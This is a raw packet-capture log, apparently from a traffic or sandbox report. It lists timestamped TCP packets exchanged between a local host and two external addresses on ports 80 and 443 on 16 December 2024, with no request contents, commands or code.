Dec 16, 2024 13:16:39.119990110 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.121042967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.121053934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.121103048 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.122208118 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.122481108 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.122555971 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.123378992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.123442888 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.123476028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.123527050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.124789000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.124802113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.124855995 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.125890970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.125900984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.125953913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.127134085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.127145052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.127197981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.128285885 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.128334045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.128391027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.128443003 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.129458904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.129507065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.129571915 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.129620075 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.131160975 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.134093046 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.194448948 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.194574118 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.194619894 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.194669008 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.194673061 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.194701910 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.194720030 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.202862024 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.202927113 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.203010082 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.203041077 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.203092098 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.211611986 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.219558954 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.222120047 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.222142935 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.260520935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.260593891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.260788918 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.261018038 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.261070967 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.261290073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.261337996 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.261590004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.261643887 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.262504101 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.262599945 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.262655020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.263736010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.263772964 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.263802052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.263832092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.264870882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.264929056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.265001059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.265055895 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.266097069 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.266130924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.266192913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.267309904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.267371893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.267381907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.267419100 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.268476009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.268541098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.268613100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.268670082 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.269690037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.269747019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.269752026 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.269805908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.270829916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.270988941 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.271048069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.272144079 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.272178888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.272207022 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.272233963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.273303032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.273336887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.273365974 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.273392916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.274455070 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.274604082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.274667025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.275715113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.275748014 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.275794983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.276124001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.276802063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.276865959 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.277072906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.277132988 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.278050900 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.278060913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.278115034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.278168917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.279159069 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.279225111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.279345989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.279398918 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.280373096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.280437946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.280508995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.280569077 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.281702042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.281737089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.281771898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.281804085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.282963991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.282996893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.283031940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.283066034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.284082890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.284116030 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.284164906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.284195900 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.285285950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.285320997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.285350084 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.285398006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.286384106 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.286442041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.286560059 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.286706924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.287587881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.287650108 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.287705898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.287755966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.288743019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.288798094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.288801908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.288840055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.289927959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.289984941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.290091991 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.291060925 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.291207075 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.291265965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.291270018 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.291332006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.292376995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.292438030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.292521000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.292579889 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.293711901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.293745995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.293801069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.294898033 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.294933081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.294989109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.295965910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.296036005 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.296118021 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.296173096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.297261000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.297295094 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.297343016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.297343016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.298434019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.298468113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.298512936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.298547983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.299627066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.299659967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.299686909 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.300784111 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.300817966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.300822973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.300846100 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.300919056 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.301903009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.301954985 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.302232027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.302282095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.303121090 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.303284883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.303364038 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.304371119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.304436922 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.304476023 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.304524899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.305486917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.305545092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.305608034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.305655003 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.306724072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.306838989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.306848049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.306881905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.308032990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.308089018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.308092117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.308131933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.309143066 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.309176922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.309201002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.309247971 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.310333967 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.310369015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.310393095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.310432911 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.311558962 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.311666965 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.311727047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.312813044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.312848091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.312881947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.312922955 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.313931942 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.313966990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.313983917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.314040899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.314260006 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.315046072 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.315105915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.315213919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.315335989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.316294909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.316351891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.316411018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.316819906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.317574024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.317608118 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.317631960 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.317667007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.318706036 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.318757057 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.318886042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.318936110 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.319890976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.320033073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.320086002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.321106911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.321156025 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.321161985 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.321199894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.322285891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.322387934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.322441101 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.356159925 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.386312008 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.390799046 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.390917063 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.390981913 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.391093969 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.391113997 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.391132116 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:39.391136885 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:39.453680992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.453732014 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.453771114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.453783035 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.453783035 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.453876019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.454092979 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.454159975 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.455187082 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.455249071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.455282927 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.455343008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.455842972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.455878973 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.455913067 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.455945969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.457072020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.457124949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.457154989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.457180023 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.458194017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.458261967 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.458357096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.458439112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.459381104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.459458113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.459507942 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.459563971 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.460707903 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.460741997 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.460797071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.460797071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.461801052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.461852074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.461910963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.462984085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.463175058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.463264942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.464112043 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.464194059 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.464328051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.464390039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.465265989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.465338945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.465456963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.465539932 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.466598988 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.466694117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.466761112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.467638016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.467710972 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.467789888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.467844009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.468991995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.469026089 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.469080925 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.469082117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.470089912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.470124960 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.470191002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.471360922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.471398115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.471474886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.472630024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.472695112 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.472803116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.472856998 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.473985910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.474045992 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.474116087 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.474773884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.474843979 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.474965096 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.475992918 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.476066113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.476070881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.476253986 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.477251053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.477303028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:39.477313042 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:39.477360010 CET	49770	80	192.168.2.8	185.215.113.16
